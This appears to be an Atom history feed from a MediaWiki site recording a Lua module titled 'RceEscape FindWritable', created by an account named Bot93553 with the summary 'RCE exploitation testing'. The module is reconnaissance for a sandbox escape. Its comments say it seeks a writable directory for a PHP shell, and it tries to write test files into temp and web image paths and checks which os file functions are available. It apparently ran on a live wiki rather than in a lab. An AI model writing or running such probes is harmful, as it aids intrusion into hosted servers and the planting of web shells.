<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ARceEscape_FindWritable</id>
	<title>模块:RceEscape FindWritable - 版本历史</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ARceEscape_FindWritable"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RceEscape_FindWritable&amp;action=history"/>
	<updated>2026-05-12T17:52:16Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RceEscape_FindWritable&amp;diff=915&amp;oldid=prev</id>
		<title>Bot93553：​RCE exploitation testing</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RceEscape_FindWritable&amp;diff=915&amp;oldid=prev"/>
		<updated>2026-05-09T05:37:23Z</updated>

		<summary type="html">&lt;p&gt;RCE exploitation testing&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- Try to find a writable directory for PHP shell&lt;br /&gt;
    -- Check common temp paths&lt;br /&gt;
    local paths_to_check = {&lt;br /&gt;
        &amp;quot;/tmp&amp;quot;, &amp;quot;/var/tmp&amp;quot;, &amp;quot;/dev/shm&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/www/html/images&amp;quot;, &amp;quot;/var/www/html/w/images&amp;quot;,&lt;br /&gt;
        &amp;quot;/www/wwwroot/images&amp;quot;, &amp;quot;/www/wwwroot/w/images&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Check if io.open is available (it shouldn't be, but double-check)&lt;br /&gt;
    if io then&lt;br /&gt;
        results[1] = &amp;quot;io_available!&amp;quot;&lt;br /&gt;
        for _, path in ipairs(paths_to_check) do&lt;br /&gt;
            local f, err = io.open(path .. &amp;quot;/mw_test_write.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
            if f then&lt;br /&gt;
                f:write(&amp;quot;MW_WRITE_TEST&amp;quot;)&lt;br /&gt;
                f:close()&lt;br /&gt;
                results[#results+1] = &amp;quot;WRITABLE: &amp;quot; .. path&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    else&lt;br /&gt;
        results[1] = &amp;quot;io_not_available&amp;quot;&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Check os.rename or os.remove&lt;br /&gt;
    local os_tbl = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
    for _, fn in ipairs({&amp;quot;rename&amp;quot;, &amp;quot;remove&amp;quot;, &amp;quot;tmpname&amp;quot;}) do&lt;br /&gt;
        if os_tbl[fn] ~= nil then&lt;br /&gt;
            results[#results+1] = &amp;quot;os.&amp;quot; .. fn .. &amp;quot;_available&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
</feed>